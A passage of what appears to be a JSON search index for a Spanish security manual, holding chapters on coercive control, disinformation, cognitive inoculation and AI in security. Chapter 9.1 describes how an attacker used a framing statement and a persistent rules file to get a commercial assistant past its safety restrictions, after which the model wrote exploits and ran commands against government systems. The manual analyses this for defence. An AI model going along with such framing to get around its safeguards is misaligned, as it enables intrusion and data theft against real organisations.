maestra: no hay que medir la fricción del momento —«¿esto que me piden ahora es tan grave?»— sino la dirección de la secuencia —«¿adónde me lleva esta cadena de pequeños síes?»—. Un sistema de control se delata no por ningún paso suelto sino por su vector.\nCuatro marcos, una sola máquina La literatura del control mental produjo cuatro marcos independientes, en épocas y disciplinas distintas, y su convergencia es lo revelador: describen la misma máquina desde cuatro ángulos. Verlos juntos es lo que convierte un catálogo de anécdotas en una herramienta de reconocimiento.\nBITE — los cuatro vectores del control (Hassan) El modelo BITE de Steven Hassan descompone el control destructivo en cuatro vectores sinérgicos, y su fuerza está en que ninguno basta solo: actúan en conjunto.\nControl del comportamiento (Behavior): se dictan los hechos físicos de la vida —dónde se vive, qué se come, cuándo se duerme, con quién se está—. La autonomía somática es lo primero que cae. Control de la información (Information): se corta el acceso a fuentes externas, se censura la crítica y se engaña deliberadamente. Hassan lo llama el oxígeno del pensamiento: sin información independiente no hay pensamiento crítico posible, y el grupo pasa a ser la única fuente de realidad. Control del pensamiento (Thought): se instala una doctrina de blanco y negro, un lenguaje interno y unos clichés que detienen el pensamiento (thought-stopping clichés) —frases hechas que se disparan automáticamente ante cualquier duda y la cancelan antes de que se formule—. Control emocional (Emotional): se manipula la culpa, se inyectan fobias irracionales sobre abandonar el grupo y se alterna castigo con afecto desmedido, atando a la persona por el miedo y el alivio. De ese entorno emerge lo que Hassan llama la identidad dual (dual identity): el control no borra a la persona original, sino que superpone una pseudo-personalidad artificial y obediente que la vigila y la reprime. Las dos coexisten en guerra —un dato clínico, no una metáfora—, y tiene una consecuencia defensiva directa: quien intenta ayudar nunca debe atacar la identidad impuesta, sino encontrar la manera de despertar a la auténtica, que sigue viva por debajo. El motor psicológico que sostiene todo esto es la disonancia cognitiva (cognitive dissonance) de Festinger: cuando a alguien se lo obliga a actuar contra sus propios valores en un entorno del que no puede salir sin admitir que fue engañado, la única salida al estrés es cambiar las creencias para justificar los actos. Por eso las personas inteligentes adoptan convicciones absurdas: no las razonan, las necesitan para no enfrentar lo que ya hicieron.\nLos ocho criterios de Lifton Robert Jay Lifton, estudiando a prisioneros y disidentes sometidos a «reeducación» en la China de los años cincuenta, destiló ocho criterios del totalismo ideológico que Hassan retoma como su base teórica. Descritos como taxonomía de reconocimiento, son:\nControl del medio (milieu control): dominio de toda la comunicación, externa e interna. El cimiento de todo lo demás. Manipulación mística (mystical manipulation): experiencias orquestadas desde arriba que se presentan como espontáneas o providenciales. Demanda de pureza: un maniqueísmo absoluto entre el grupo puro y el mundo impuro que, por inalcanzable, instala culpa crónica. Culto de la confesión: la confesión obligatoria de faltas y secretos, que destruye la privacidad y —el punto que más nos importa— entrega información íntima que luego se usa como chantaje. Ciencia sagrada: la doctrina elevada a verdad absoluta e incuestionable; dudar es herejía, no análisis. Carga del lenguaje (loading the language): la reducción de problemas complejos a clichés y jerga interna, el «lenguaje del no-pensamiento» que atrofia el análisis y aísla del exterior. La doctrina sobre la persona: si la experiencia propia contradice el dogma, gana el dogma; la persona debe repudiar su propia percepción. La dispensación de la existencia: el grupo se arroga decidir quién merece existir; quien se va es una «no-persona» a la que se descarta (shunning). El cuarto criterio —la confesión como cosecha de material sensible— es la bisagra que anticipa el puente digital: es kompromat avant la lettre. Lo que en la secta clásica se obtenía en sesiones de autocrítica, la versión online lo obtiene con capturas y archivos.\nLas seis condiciones de Singer Margaret Singer, desde la clínica, formuló seis condiciones ambientales que, combinad","section":"P8 · Factor humano","summary":"El extremo del continuo de influencia, donde la persuasión deja de ser un evento y se vuelve un sistema sostenido de control. Sostiene que los cuatro marcos clásicos del control mental —el modelo BITE de Hassan, los ocho criterios de Lifton, las seis condiciones de Singer y el apego desorganizado de Stein— describen una misma máquina: aislar a la persona, sobrecargarla y alternar terror y alivio hasta que busca consuelo en la misma fuente que le causa el miedo. Ese mecanismo, ya anatomizado en el estudio de las sectas, reaparece industrializado en la coerción online contra menores (el fenómeno 764 dentro del ecosistema The Com), lo que lo convierte en un problema de seguridad y no solo de psicología. El capítulo mantiene un encuadre estrictamente víctima-céntrico: describe el mecanismo para reconocerlo, enumera las señales de alerta y concentra la defensa en romper el aislamiento, restaurar el reality-testing y reportar por los canales oficiales —nunca en el método del adversario.","tags":["factor-humano","control-coercitivo","manipulacion","psicologia","proteccion-menores","blue-team"],"title":"8.4 · Control coercitivo: del thought reform a la coerción online","url":"/speculum/p8-factor-humano/8-4-control-coercitivo/"},{"content":"Panorama Los tres capítulos anteriores trabajaron sobre un blanco singular: una persona recibe un correo, atiende una llamada, entra en una relación de control. La mecánica de Cialdini operaba sobre un individuo; el control coercitivo capturaba a una víctima. Este capítulo toma exactamente las mismas palancas cognitivas y cambia una sola variable: la escala. El blanco ya no es una persona sino una población, y ese cambio de escala lo transforma todo, porque a nivel de masa la manipulación deja de necesitar convencer a nadie en particular.\nEsa es la tesis del capítulo, y conviene fijarla antes de entrar en el detalle. La desinformación no funciona como un argumento que persuade —no gana un debate—; funciona como un entorno que satura. No busca que una afirmación le parezca correcta a un lector crítico, sino que una afirmación resulte familiar a un público entero por pura repetición, hasta que la familiaridad se confunde con verdad. Y de aquí sale la consecuencia defensiva que ordena todo lo que sigue: la señal para el defensor no está en el mensaje suelto sino en la derivada. Un post aislado, una noticia, una afirmación, son casi siempre indistinguibles de la comunicación legítima; lo que delata una operación de influencia es el patrón —la coordinación, la repetición sincronizada, la amplificación artificial, la trayectoria de la campaña—. Se caza la curva, no el punto.\nEl capítulo recorre cinco planos de menor a mayor coerción —el sustrato psicológico de la masa (Le Bon), la mecánica mediática de la desinformación, la ingeniería del nudge conductual, la doctrina PSYOP estatal como caso analítico, y dos artefactos que se estudian con condena explícita— y cierra con la defensa, que es epistémica y no técnica.\nEncuadre del capítulo. Todo lo que sigue es un análisis defensivo del funcionamiento de las operaciones de influencia, escrito para reconocerlas y resistirlas, no para conducirlas. Los dos artefactos de la última sección —la doctrina contrainsurgente de Trinquier y el apócrifo Silent Weapons for Quiet Wars— se presentan con condena y desmontaje explícitos, como casos de estudio de una mecánica que se rechaza, jamás como doctrina a aplicar. La doctrina estatal (las Tres Guerras de la RPC) se trata como inteligencia sobre el adversario, no como plantilla. Y el capítulo insiste, sobre el final, en el límite que separa el análisis de la paranoia: no toda crítica social es una operación extranjera. Le Bon: la masa en modo automático El sustrato de todo el capítulo lo puso Gustave Le Bon en 1895, y sobrevive porque describió una regularidad psicológica, no una época. Su observación central es que el individuo dentro de una masa deja de ser el individuo: la personalidad consciente se disuelve y emerge una entidad temporal —el alma de las masas (âme des foules)— regida por el impulso, no por el análisis. Tres rasgos definen ese estado y explican por qué la desinformación funciona a escala cuando fracasaría persona a persona.\nEl primero es la regresión cognitiva: la masa piensa por imágenes, no por argumentos, y acepta fórmulas absolutas sin admitir objeción. El pensamiento crítico —que es esfuerzo individual y lento— se apaga. El segundo es el anonimato, que suprime la responsabilidad: dentro del grupo, el sujeto siente una impunidad que lo lleva a creer y a hacer lo que en soledad rechazaría. El tercero es el contagio, que Le Bon compara con un proceso microbiano: en la masa, un sentimiento se propaga y se amplifica solo, porque la aprobación visible de los demás refuerza su intensidad. Le Bon lo señaló sin sospechar las redes sociales, pero describió su motor exacto: la exageración de un sentimiento se fortalece al propagarse rápido por sugestión, y la aprobación que recibe acrecienta su fuerza. Es la mecánica de la viralidad, cuatro generaciones antes del algoritmo que la industrializó.\nDe ahí Le Bon derivó lo que puede leerse como el algoritmo original de la propaganda, el conjunto de mecanismos con que un conductor de masas inocula una idea sin recurrir a la prueba ni al razonamiento:\nAfirmación (affirmation): la aseveración pura y rotunda, desprovista de argumento y de evidencia. Cuanto más concisa y menos matizada, más penetra, porque no ofrece superficie para el análisis. La duda, el matiz y el «depende» —las marcas del pensamiento honesto— son ruido que la afirmación elimina. Repetición (répétition): la reiteración incesante del mismo enunciado hasta que se aloja en el inconsciente y se acepta «como si fuese una verdad demostrada». La repetición no cambia el contenido; cambia el estatus del contenido, convirtiendo una afirmación en un supuesto. Es, literalmente, el efecto de familiaridad que la investigación moderna llama illusory truth: cuanto más se oye algo, más verdadero parece, con total independencia de si lo es. Contagio (contagion): la propagación automática de la creencia de individuo a individuo hasta volverla dogma colectivo. Prestigio (prestige): la palanca maestra que lo activa todo. El mensaje no se evalúa por su contenido sino por la autoridad —adquirida o personal— de quien lo emite. El prestigio, dice Le Bon, es una fascinación que paraliza el juicio; y tiene una debilidad que la defensa aprovechará: se derrumba de golpe con un fracaso público. Es la versión a escala de masa del principio de autoridad de Cialdini —el mismo atajo mental, ahora disparado sobre un público entero en lugar de sobre un empleado en una llamada de vishing. Reconocer esta cuádruple firma —afirmación categórica, repetición sincronizada, contagio amplificado, prestigio prestado— es la primera herramienta de lectura del capítulo. Cuando aparecen las cuatro juntas y coordinadas, no se está ante una conversación pública: se está ante una campaña.\nLa mecánica de la desinformación Le Bon explica por qué la masa es vulnerable; el estudio de los medios explica cómo se explota esa vulnerabilidad en la práctica, con técnicas concretas que operan por debajo del umbral de sospecha del lector. La observación de fondo es incómoda: la desinformación rara vez consiste en mentir de plano —eso es fácil de desmentir—. Consiste en estructurar información verdadera de modo que produzca una conclusión falsa, y por eso resiste el fact-checking ingenuo, que verifica hechos sueltos mientras la manipulación vive en el montaje.\nLas dos primeras técnicas son el establecimiento de agenda (agenda setting) y el encuadre (framing). La agenda decide de qué se habla mediante la jerarquización: la portada consagra lo favorable y la página par interior sepulta lo incómodo, explotando la economía de atención del público. El encuadre decide cómo se habla de ello, destacando ciertos ángulos y ocultando otros hasta que la interpretación queda prácticamente impuesta antes de que el lector piense. Un caso ilustra la asimetría con crudeza: un mismo tribunal, un mismo tipo de acusación, dos coberturas opuestas —portada amplia para el procesamiento que legitima una acción militar, media columna interior para la denuncia que la incrimina—. Ningún dato es falso; la manipulación es puramente estructural.\nSobre esa base operan mecanismos más finos:\nLa descontextualización por pirámide invertida. La convención periodística de poner primero el hecho y dejar las causas para el final —que el recorte de espacio elimina— produce, casi como efecto colateral, una realidad amputada de su contexto histórico. El qué se cuenta a saturación; el porqué desaparece. La disonancia titular–cuerpo. El titular, que es lo único que la mayoría lee, afirma más de lo que el cuerpo sostiene. La manipulación se aloja en esa brecha deliberada: el efecto persuasivo lo produce el titular, y la desmentida —cuando existe— queda enterrada en el párrafo doce. Las fuentes anónimas y los gabinetes. La inyección directa de afirmaciones sin prueba, atribuidas a «fuentes» que nadie puede contrastar, o la réplica acrítica de comunicados oficiales presentados como periodismo independiente. La ausencia de fuente verificable no es un descuido:","section":"P8 · Factor humano","summary":"Las mismas palancas cognitivas del capítulo anterior, escaladas de la persona a la población. Sostiene que la desinformación no persuade con un mensaje sino que satura con repetición y contagio —el algoritmo original de Le Bon: afirmación, repetición, prestigio— y que el nudge conductual explota el sistema automático sin consentimiento; recorre las técnicas mediáticas (jerarquización, encuadre, descontextualización, sobre-información y silencio), el marco MINDSPACE del nudge de doble uso, la doctrina PSYOP estatal (las Tres Guerras y el dominio cognitivo de la RPC) como caso analítico, y los dos artefactos —la doctrina contrainsurgente de Trinquier y el apócrifo Silent Weapons for Quiet Wars— con condena y desmontaje explícitos. La tesis defensiva: la señal para el defensor no está en el mensaje suelto sino en la derivada, el patrón de campaña; y la defensa es epistémica —alfabetización mediática, verificación, higiene de decisión e inoculación— sin caer en la paranoia que confunde toda crítica con una operación.","tags":["factor-humano","desinformacion","guerra-psicologica","psyop","manipulacion","blue-team"],"title":"8.5 · Operaciones de influencia y desinformación","url":"/speculum/p8-factor-humano/8-5-desinformacion-psyop/"},{"content":"Panorama Toda la Parte 8 ha girado alrededor de una misma pregunta incómoda. Si el humano es la superficie de ataque que ningún parche cierra —si la persuasión, la ingeniería social, el control coercitivo y la desinformación explotan atajos cognitivos que son parte del funcionamiento normal de la mente—, entonces ¿cómo se defiende algo que no se puede actualizar? Este capítulo, que cierra la Parte como los cierres azules cerraban las suyas, da la respuesta que el capítulo inicial adelantó y dejó en suspenso: la cognición no se parchea, pero sí se inocula.\nEsa distinción es todo. Parchear sería instalar una regla nueva —una política, una prohibición, un recordatorio— con la esperanza de que el usuario la ejecute en el momento crítico. La experiencia de la Parte entera muestra por qué falla: el ataque no discute con las reglas, las esquiva activando un atajo por debajo de ellas. Inocular es lo contrario: no se agrega una regla, se modifica al defensor para que reconozca el ataque desde dentro. Y esa modificación tiene una propiedad que ninguna regla tiene —es general: quien entiende cómo funciona la reciprocidad como palanca la reconoce en un correo, en una llamada, en una relación y en una campaña, porque aprendió el mecanismo, no el caso.\nEl capítulo se lee en tres alturas —el individuo (metacognición e inoculación), la organización (cultura, no cumplimiento) y la sociedad (la defensa estructural)— y cierra donde tiene que cerrar un capítulo que trató a la víctima con seriedad: en la recuperación, porque la identidad que la manipulación captura no se destruye, se sepulta, y se puede recuperar.\nLa inoculación: la vacuna cognitiva La metáfora no es decorativa, es literal, y viene de la psicología social. William McGuire formuló en los años sesenta la teoría de la inoculación (inoculation theory) sobre una analogía exacta con la inmunología: así como se inmuniza un cuerpo exponiéndolo a una versión debilitada de un patógeno para que genere anticuerpos, se puede inmunizar una actitud exponiendo a la persona a una versión debilitada de un argumento manipulador —junto con su refutación— antes de que encuentre la versión real y potente. El encuentro previo, controlado, genera «anticuerpos cognitivos»: contraargumentos ya ensayados que se activan cuando llega el ataque de verdad.\nEsto tiene una consecuencia práctica enorme y una versión moderna con nombre propio. La consecuencia es que la mejor defensa es preventiva, no reactiva —Steven Hassan lo dice sin rodeos: reaccionar después de que alguien fue adoctrinado es ineficiente y agotador; la única solución sostenible es crear inmunidad colectiva antes del contacto—. La versión moderna es el prebunking: adelantarse a la desinformación exponiendo al público a la técnica de manipulación —no al desmentido de un hecho puntual, sino al mecanismo— para que la reconozca cuando la vea. Desmentir después (debunking) llega tarde y compite contra la familiaridad que la  repetición ya instaló; inocular antes gana la carrera.\nEl mecanismo psicológico que hace posible la inoculación es la metacognición: pensar sobre cómo se piensa, y en particular saber cómo puede uno ser manipulado. Hassan lo llama higiene mental y lo equipara al lavado de manos —una práctica preventiva que se enseña de niño y protege de por vida—. Su tesis es que el conocimiento del mecanismo desarma al reclutador: si la población entiende la tecnología de la manipulación —el modelo BITE, los principios de Cialdini, la firma de la campaña—, los manipuladores pierden su poder, porque su poder dependía de operar sin ser vistos. La defensa de la propia autonomía mental, concluye Hassan, es una responsabilidad individual e indelegable: las instituciones —académicas, políticas, judiciales— no son guardianes infalibles de la ética, y a menudo sufren ceguera voluntaria cuando hay dinero, prestigio o litigios de por medio. La metacognición es el único escudo que nadie puede comprar por encima de uno.\nPor qué el training anual falla y qué funciona Si la inoculación funciona, ¿por qué el security awareness corporativo —que existe justamente para eso— produce tan poco? Porque la mayoría de los programas confunden inoculación con cumplimiento. El módulo anual de concientización, el video obligatorio, el cuestionario de opción múltiple que se aprueba adivinando, son teatro de cumplimiento: generan un registro de que la capacitación ocurrió —útil para una auditoría— sin generar el cambio que la inoculación requiere. Es el equivalente humano de un control que existe en el papel y no en la práctica, exactamente la brecha que la validación existe para exponer.\nFalla por razones concretas. Es un evento único cuando la inoculación necesita refuerzo —los anticuerpos cognitivos, como los biológicos, decaen y necesitan dosis de recuerdo—. Es genérico cuando el reconocimiento se entrena con lo específico y contextual. Y sobre todo, se apoya en el miedo y la culpa —«no sea el eslabón débil»—, que son contraproducentes: una cultura que castiga al que cae enseña a los empleados a ocultar el error, no a reportarlo, y el reporte temprano es la contramedida más valiosa que existe contra el phishing. Lo que funciona es la versión profunda de lo que la gobernanza enunció como concientización (BP9) y cultura justa (BP21):\nSimulaciones realistas y frecuentes en lugar del módulo anual: ejercicios de phishing controlado que son inoculación pura —la exposición a la versión debilitada— seguidos de retroalimentación inmediata y sin sanción. La simulación no es una trampa para pillar al distraído; es la vacuna. Reporte fácil, rápido y recompensado. Un botón de «reportar phishing» a un clic, una respuesta que agradece en lugar de reprender, y la métrica correcta: no «cuántos cayeron» sino «cuántos reportaron y cuán rápido». El usuario que reporta es un sensor, y se enlaza directo con la detección de correo —cada reporte alimenta la telemetría defensiva—. Cultura justa (just culture): tratar al que cae como quien tropezó con una trampa bien diseñada, no como un culpable. El objetivo es que reportar el propio error sea seguro, porque el silencio es lo único que el atacante necesita —la misma fobia al reporte que la coerción instalaba deliberadamente en su víctima reaparece, sin querer, en cualquier organización que humilla a quien confiesa un clic—. El principio unificador: la concientización no es un contenido que se transmite una vez, es una práctica que se cultiva —medible, además, por el lazo de mejora púrpura, donde cada simulación es un ejercicio cuyo hallazgo endurece a la población igual que un ejercicio técnico endurece un control—.\nLa defensa estructural: redes, esfera pública y límite La capa más profunda, y la que Alexandra Stein aporta, es que la resiliencia individual descansa sobre una estructura social, y que atacar esa estructura es el primer movimiento de toda manipulación sostenida. El hilo que atraviesa toda la Parte —del aislamiento de la secta al de la masa atomizada— es que el aislamiento es la condición de posibilidad del control. De ahí que la defensa estructural sea, ante todo, proteger lo que el manipulador necesita destruir.\nStein lo formula en términos de redes. Una red social sana es abierta, interconectada y diversa: los vínculos fluyen en todas direcciones, hay contactos múltiples y externos, y ninguna fuente monopoliza la realidad. Una red insana —la de la secta, la del entorno coercitivo— es circular, cerrada y concéntrica alrededor de un líder o una fuente única. Mantener conexiones externas múltiples no es un lujo social: es lo que inmuniza contra el aislamiento coercitivo, porque garantiza que siempre haya una realidad de contraste, un reality-testing que la manipulación no controla. La contramedida a la atomización es, literalmente, no estar atomizado.\nSobre esa base, Stein —apoyándose en Hannah Arendt— sitúa la esfera pública compartida: el espacio donde las personas superan su aislamiento intercambiando perspectivas distintas para construir una realidad ","section":"P8 · Factor humano","summary":"El capítulo púrpura que cierra la Parte 8 y responde la pregunta que abrió el continuo de influencia: si el humano no se parchea, ¿cómo se defiende? La respuesta es la inoculación —exponer a una versión debilitada de la manipulación para construir resistencia, igual que una vacuna—, no más reglas ni más miedo. Desarrolla la teoría de la inoculación de McGuire y la metacognición como escudo (saber cómo lo pueden manipular a uno), explica por qué el security awareness anual es teatro de cumplimiento y qué funciona en su lugar (reporte fácil, simulaciones, cultura justa), sostiene con Stein que la defensa más profunda es estructural (redes externas intactas, esfera pública compartida, derechos humanos como límite) y cierra con la recuperación de la víctima (la identidad impuesta es reversible, la salida es sin culpa). Tesis final de la Parte: en el humano, la seguridad no se instala —se cultiva.","tags":["factor-humano","defensa-inoculacion","concientizacion","cultura-seguridad","blue-team","purple-team"],"title":"8.6 · Defensa cognitiva: inoculación, cultura y resiliencia","url":"/speculum/p8-factor-humano/8-6-defensa-cognitiva/"},{"content":"Panorama Las ocho Partes anteriores recorrieron la seguridad por capas: la explotación y el red team, el Active Directory, el reconocimiento, la defensa azul y el DFIR, la inteligencia de amenazas, la validación púrpura, la gobernanza y el factor humano. Cada una tomó un terreno y lo trabajó a fondo. Esta Parte no agrega un terreno más: agrega la tecnología transversal que en los últimos años empezó a reordenar todos los anteriores a la vez. La inteligencia artificial no es una disciplina de la seguridad al lado de las otras —no es «como el pentesting pero de IA»—; es una capa que atraviesa el SOC, el arsenal del atacante, la superficie corporativa y hasta el propio modelo de amenazas. Por eso cierra el arco substantivo del manual: es lo último que faltaba nombrar, y después de ella solo queda la Parte 0 con los fundamentos que ninguna moda deroga.\nEl riesgo al escribir sobre IA y seguridad es el ruido. Hay una industria entera interesada en presentar la IA como una ruptura total —el atacante imparable, la defensa autónoma que ya no necesita analistas—, y ninguna de esas dos imágenes resiste el contacto con los hechos. Este capítulo, y la Parte que abre, adoptan la postura contraria y la sostienen con evidencia: la IA no deroga los fundamentos de la seguridad; cambia tres cosas concretas —la escala, la velocidad y la superficie— y esas tres cosas bastan para exigir que el defensor la entienda, sin necesidad de creer que reescribió las reglas del juego.\nLa tesis: la IA es un multiplicador de fuerza, no un alquimista Conviene anclar la tesis en un caso, porque es el mejor antídoto contra la exageración. Entre diciembre de 2025 y febrero de 2026, un solo operador comprometió al menos nueve organizaciones del gobierno de México —el SAT, el Registro Civil de la Ciudad de México, utilidades municipales— y exfiltró datos de cientos de millones de registros ciudadanos. La particularidad, la que volvió el caso un objeto de estudio, es que el atacante usó dos modelos de lenguaje comerciales como herramientas operativas centrales: un asistente conversacional que orquestó la explotación de forma interactiva —escribió y depuró los exploits, escaló privilegios, tendió túneles de red— y una segunda inteligencia artificial que, en paralelo y por lotes, procesó la telemetría de más de trescientos servidores internos para convertir el reconocimiento en bruto en inteligencia estructurada. Aproximadamente tres cuartas partes de la ejecución remota de comandos las generó el modelo.\nEs un caso espectacular, y sería fácil leerlo como la prueba de que la IA cambió todo. Pero el informe forense que lo documenta subraya lo contrario, y ese matiz es la tesis entera de la Parte: las vulnerabilidades que el atacante explotó eran, en su mayoría, mitigables con controles de seguridad estándar —parcheo, rotación de credenciales, segmentación de red, detección en el endpoint—. La escalada a superusuario aprovechó una tarea programada con permisos de escritura mal puestos (writable crontab); el movimiento lateral, credenciales en texto claro y una red plana. Nada de eso es nuevo, y nada de eso requiere IA para defenderse. Lo que la IA aportó no fue una técnica inédita: fue velocidad. Comprimió el tiempo entre el acceso inicial y el impacto crítico por debajo de las ventanas típicas de detección y respuesta, y permitió que un operador individual hiciera el trabajo de un equipo de analistas. La lección no es «la IA hace lo imposible»; es «la IA hace lo posible mucho más rápido, y contra una postura débil eso alcanza».\nLa inteligencia de amenazas llega al mismo veredicto por otra vía. El informe anual de una firma de referencia, analizando la aparición de tres nuevos modelos de lenguaje construidos específicamente para operaciones ofensivas, concluye que estos modelos «mejoran la eficiencia y la accesibilidad de técnicas existentes, en lugar de introducir un oficio novedoso impulsado por IA». El malware verdaderamente autónomo dirigido por IA sigue, según la misma fuente, en fase experimental. La IA es, en la formulación que recorrerá toda la Parte, un multiplicador de fuerza, no un alquimista: amplifica lo que el adversario ya sabía hacer —lo hace más barato, más rápido, más a escala y más convincente—, pero no transmuta la incompetencia en capacidad ni vuelve irrelevante la higiene defensiva.\nEl doble filo: la misma tecnología en las dos manos Si la IA fuera solo una herramienta del atacante, la Parte sería un capítulo de inteligencia de amenazas. No lo es, porque la misma tecnología está en las dos manos, y esa simetría es lo que la vuelve un tema en sí mismo. Los mismos mecanismos que aceleran al adversario aceleran al defensor. El aprendizaje automático (machine learning, la rama de la IA que extrae patrones de los datos sin programación explícita) lleva años en el corazón del SOC moderno: el modelo supervisado clasifica ejecutables y tráfico conocido con una precisión que la firma estática no alcanza; el no supervisado detecta la anomalía —el comportamiento que se sale de la línea base— sin haber visto nunca la amenaza concreta, que es la única forma de tener una oportunidad contra lo inédito. Sobre esa base se montan las plataformas que correlacionan telemetría de todos los vectores y orquestan la respuesta en segundos.\nEl doble filo es literal. La IA generativa que redacta un correo de phishing impecable y localizado es la misma familia de tecnología que, del otro lado, perfila el comportamiento normal de cada usuario para delatar la cuenta comprometida. El modelo que un atacante usa para reescribir un ejecutable y evadir la detección por firmas es primo del que un defensor usa para reconstruir una cadena de ataque a partir de eventos dispersos. No hay una «IA ofensiva» y una «IA defensiva» como tecnologías distintas: hay una tecnología y dos intenciones. Por eso la Parte no se puede contar solo desde el ataque ni solo desde la defensa; hay que sostener las dos caras y ver cómo la ventaja bascula según quién la despliega mejor y más rápido.\nEl tercer eje: el sistema de IA como superficie de ataque Hay, sin embargo, algo que la IA sí agrega y que antes no existía, y es lo que impide reducir la Parte al doble filo. Al desplegar modelos en producción —el clasificador que decide qué correo es phishing, el asistente que atiende clientes, el sistema que aprueba o rechaza una transacción— la organización crea una superficie de ataque nueva: el propio modelo. Y esa superficie tiene vulnerabilidades que no son las del software clásico. Un atacante puede inyectar ruido matemático cuidadosamente calculado en un archivo para que el clasificador defensivo lo declare benigno sin que su función real cambie (un ataque de evasión); puede contaminar los datos con los que el modelo se entrena para degradarlo o instalarle una puerta trasera (poisoning); puede interrogar un modelo desplegado hasta deducir los datos confidenciales con los que fue entrenado (model inversion). Y en el caso de los modelos de lenguaje, puede hacer algo que en el mundo del software clásico llamaríamos inyección: entregarle, mezclada con los datos que debe procesar, una instrucción que subvierte lo que se suponía que debía hacer.\nEse tercer eje reaparece, de hecho, en el mismo caso de México. Antes de dirigir el primer ataque, el operador precondicionó al modelo con un enunciado inicial —un framing statement— y un archivo de reglas persistente que redefinían el contexto de la interacción para rodear las restricciones de seguridad del asistente. Visto desde la seguridad de la IA, eso no es ingeniería social contra una persona: es un ataque contra el modelo, de la misma clase que la inyección que la Parte 3 estudió contra bases de datos e intérpretes. El modelo confundió un dato de entrada con una instrucción legítima, exactamente como un intérprete vulnerable confunde la entrada del usuario con código. Ese paralelo —el modelo como un intérprete más, susceptible de que le rompan la frontera entre datos e instrucciones— es ","section":"P9 · IA y Seguridad","summary":"El capítulo que abre la Parte 9 y la última Parte substantiva del manual: la que trata la tecnología transversal que reordena todo lo anterior, la inteligencia artificial. Fija la tesis que ancla la Parte contra el ruido de mercado: la IA no deroga los fundamentos de la seguridad, cambia tres cosas —la escala, la velocidad y la superficie—. Lo ilustra con el caso real de la brecha asistida por IA al gobierno de México (comprometida por controles estándar que no estaban puestos, acelerada por un modelo de lenguaje hasta velocidades que superan la ventana de respuesta) y con el veredicto de la inteligencia de amenazas: los modelos maliciosos mejoran la eficiencia del adversario, no inventan un oficio nuevo. Presenta el doble filo —la misma tecnología aumenta a defensor y atacante a la vez— y el tercer eje que la IA agrega y antes no existía: el propio sistema de IA como superficie de ataque. Con esos tres ejes traza el mapa de la Parte: IA para defender (9.2), IA para atacar (9.3) y seguridad de la IA (9.4).","tags":["ia","machine-learning","llm","adversarial-ml","amenazas","blue-team","threat-intel"],"title":"9.1 · Panorama: la IA como cambio de superficie","url":"/speculum/p9-ia-seguridad/9-1-ia-cambio-superficie/"},{"content":"Panorama El capítulo anterior fijó el primero de los tres ejes de la Parte: la IA como herramienta del defensor. Este lo desarrolla. Y conviene arrancar recordando el problema que la IA viene a atacar en el centro de operaciones (Security Operations Center, SOC), porque ese problema es viejo y no lo inventó la inteligencia artificial: el volumen y la velocidad de la telemetría superaron hace tiempo la capacidad de cualquier equipo humano de mirarla entera. Un SOC mediano ingiere miles de millones de eventos por día; ningún analista, ni cien, los revisan uno por uno. La detección por firmas estáticas —la regla que busca un patrón conocido— es rápida y barata pero ciega a lo que no está en su lista, y la revisión manual no escala. Ese es el hueco donde el aprendizaje automático (machine learning, la rama de la IA que extrae patrones de los datos sin programación explícita) se volvió, en la última década, parte estándar del arsenal defensivo.\nLa advertencia de 9.1 sigue en pie y ordena todo el capítulo: la IA no reemplaza la defensa como programa que la Parte 5 construyó, le pone una capa encima. El modelo no sustituye la telemetría —la necesita, y depende de su calidad—; no sustituye al analista —lo aumenta, y le devuelve el tiempo que le robaba el ruido—; y no sustituye el criterio de qué detectar —lo ejecuta más rápido, pero alguien humano sigue decidiéndolo—. Este capítulo describe qué aporta realmente esa capa, y con el mismo rigor, dónde falla y qué exige para no volverse contraproducente.\nEl aprendizaje automático en la detección El aprendizaje automático entra en la detección por dos puertas distintas, y confundirlas es la primera fuente de expectativas mal calibradas. La primera es el aprendizaje supervisado (supervised learning): se entrena un modelo con un conjunto de datos etiquetados —millones de ejecutables marcados como benignos o maliciosos, correos rotulados como legítimos o phishing, flujos de red clasificados— y el modelo aprende a asignar la etiqueta a muestras nuevas. Es la técnica que domina la detección madura de malware y de suplantación, y funciona muy bien dentro de su dominio: clasifica lo conocido con una precisión que la firma estática no alcanza, porque generaliza en vez de igualar byte a byte. Su límite es estructural y hay que decirlo sin eufemismos: depende de datos históricos, y por lo tanto es más débil contra la campaña inédita —la que no se parece a nada de lo que vio en el entrenamiento—.\nLa segunda puerta es el aprendizaje no supervisado (unsupervised learning), y es la que da la única oportunidad real contra lo inédito. Aquí el modelo no recibe etiquetas: recibe la actividad del entorno y aprende su forma normal —la línea base—, para después señalar lo que se desvía. Es la detección de anomalías (anomaly detection), y algoritmos como el Isolation Forest la implementan aislando los puntos que se apartan del grueso de los datos con pocas particiones. La promesa es enorme: detectar la amenaza de día cero, el comportamiento que ninguna firma describe todavía, porque no busca un patrón malicioso conocido sino una desviación de lo habitual. La contracara es igual de estructural: lo anómalo no es lo mismo que lo malicioso. Un despliegue nuevo, un pico de trabajo a fin de mes, un administrador haciendo algo legítimo pero infrecuente, todos son anómalos, y el modelo no supervisado los marca. De ahí que el no supervisado tienda a producir más falsos positivos, y que su valor dependa por completo de cuánto contexto se le sume para distinguir la anomalía peligrosa de la meramente rara.\nEntre las dos puertas hay un trabajo silencioso que decide más que la elección del algoritmo: el feature engineering, la selección y transformación de las variables que se le dan al modelo a partir de la telemetría cruda. Un modelo no ve «un proceso sospechoso»; ve los números que alguien decidió extraer —frecuencia de conexiones, entropía de un archivo, hora de acceso, relación padre-hijo de procesos—. La calidad de esas variables determina la del modelo más que su sofisticación, y es la razón por la que la misma técnica rinde en una organización y fracasa en otra. Todo esto conecta directamente con la pirámide del dolor de 5.1: la mejor detección —la que más le cuesta al adversario— apunta al comportamiento y a las tácticas, no al indicador atómico, y el aprendizaje automático es, bien usado, una máquina de detectar comportamiento.\nLa arquitectura: el pipeline y las plataformas El modelo no vive suelto; vive dentro de una arquitectura que lo alimenta y ejecuta sus veredictos. La forma canónica es un pipeline de cuatro tramos sobre un repositorio central. La telemetría de todos los vectores —endpoint, red, identidad, nube— se ingiere en tiempo real hacia un data lake unificado; de ahí se extraen las variables (feature); el modelo analítico produce un veredicto o una puntuación de riesgo; y ese veredicto dispara una acción —una alerta para el analista o, más adelante en este capítulo, una contención automática—. Un data lake unificado importa porque los puntos ciegos nacen de la telemetría fragmentada: la señal que delata un ataque suele estar en la correlación de eventos que, mirados por separado, parecen inocuos.\nflowchart LR T[\"telemetría\\nendpoint · red · identidad · nube\"] --\u003e I[\"ingesta\\ndata lake unificado\"] I --\u003e F[\"feature engineering\\nvariables desde la telemetría cruda\"] F --\u003e M[\"modelo\\nsupervisado + no supervisado\"] 